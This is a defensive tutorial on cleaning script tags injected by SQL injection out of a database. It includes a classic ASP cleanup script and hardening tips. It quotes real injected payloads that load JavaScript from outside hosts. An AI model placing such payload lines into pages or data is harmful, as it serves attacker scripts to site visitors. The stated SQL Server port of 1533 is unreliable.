If you're a victim of SQL injection you'll know it. First, you'll call up a form from your database and notice that the page is having a hard time loading. Then, once it does load, you'll see all these weird references to javascript programs in your fields.
Why would someone do this?
The answer depends on what the SQL injector is attempting to accomplish. One injection ploy I've seen, the perpetrator put a line of code that called a script. Every time any page was served, that page displayed an error message saying, "your computer contains a virus, click here to resolve it."
Clicking on that message would undoubtedly lead to entering a credit card. You can see where this is going.
Most of the SQL injection I've seen puts a line of html that calls a javascript program. Here is an example of SQL injected text:
></title><script src="http://www3.ss11qn.cn/csrss/w.js"></script><!-- |
I don't care what the program does, nor do I care to investigate it. SQL injectors know they won't get caught, even if you do pin them down. Rather than waste time and energy on that, the better idea is to get this out of the database.
If you've been injected, cleaning a database like this is a temporary solution at best. Cleaning a database requires a fare amount of work. If you don't locate and stop of source of infiltration, all your effort is in vain. I've seen SQL injectors change their injected code slightly each time they inject. This makes it harder to clean. You can't just write a program and run it. You have to stop and figure out what they are doing.
Once you've located and stopped the infiltration, you can work on cleaning your database. As bad as things seem, the REPLACE command does a neat job of finding and cleaning the code from your database. The first thing to do is create a variable and fill it with the injected code like this:
injected_code = "<script src=http://google-stats50.info/ur.php></script>" |
Many times SQL injectors will include quotes in their code. This is to make it harder to clean. It there is a quote (or any other weird character) in the injected code you have to create your variable with ASCII equivalents. For example if someone puts something like this into your database:
<script src="http://www3.ss11qn.cn/w.js"></script> |
You'll have to deal with the quotes using ASCII equivalents and concatenation characters to build your string. The ASCII code for quotes is 34. It is essential that you create a string that matches the injected code perfectly. The proper way to deal with this injected code is to build a string like this. This way you can find the code without the string being delaminated by the quote in the data. Print your variable and make sure it matches the SQL injected code perfectly:
injected_code = "<script src=" & chr(34) & "http://www3.ss11qn.cn/w.js" & chr(34) & "></script>" |
The next step is to write your program to clean your database. This is what it will look like:
<%
injected_code = "<script src=" & chr(34) & "http://www3.ss11qn.cn/w.js" & chr(34) & "></script>"
Set db = Server.CreateObject("ADODB.Connection")
db.Open "DSN=xxx", "xxx", "xxx"
Set rs = Server.CreateObject("ADODB.Recordset")
tempsql = "UPDATE contacts SET "
tempsql = tempsql & "customer = replace(customer, '" & injected_code & "', ''), "
tempsql = tempsql & "firstname = replace(firstname, '" & injected_code & "', ''), "
tempsql = tempsql & "lastname = replace(lastname, '" & injected_code & "', ''), "
tempsql = tempsql & "address = replace(address, '" & injected_code & "', ''), "
tempsql = tempsql & "title = replace(title, '" & injected_code & "', '')"
rs.Open tempsql,db,2,3,1
db.close
response.write("done")
%>
|
What this program does is look at the contacts table. It will look at the customer field first. Any instances of the injected code will be replaced by nothing. Because there is no WHERE clause on the UPDATE statement this program acts on all the records in the database. Because it is replacing the data in the field with the data in the field minus SQL injected code, there is no danger of writing over anything. In my experience, this does a good job of getting rid of the injected code.
Note: The replace command will not work on memo fields, like ntext. This script will error out. To make it work on ntext (memo) fields, you have to convert ntext fields to nvarchar(MAX) fields. This is just a quirk of the database server.
As you can see, cleaning a database can be a lot of work. First you have to know the affected tables. Then you have to know the affected fields within those tables. Then you have to setup a custom program that deals with all the tables and fields in your database. You can however, write a single program to do the entire cleaning in one shot. It takes work though.
What I have found is most SQL injection requires converting data types. Make sure to connect to your database with minimum privileges from your web sites. When you connect to read data, connect with database reader and deny data writer and nothing else. When you connect to write data, connect with database reader and database writer and nothing else. Do not give any more privilege than needed to do the job. Do NOT connect as SA. This gives full privileges. Don't assume that SQL injectors can't inject using SELECT statements because they can.
Additionally you'll want to have port 1533 on your database server closed to the public. Also turn error messaging off for any site that interacts with a database. Error messaging allows an injector the feedback needed to hammer away at your database. |
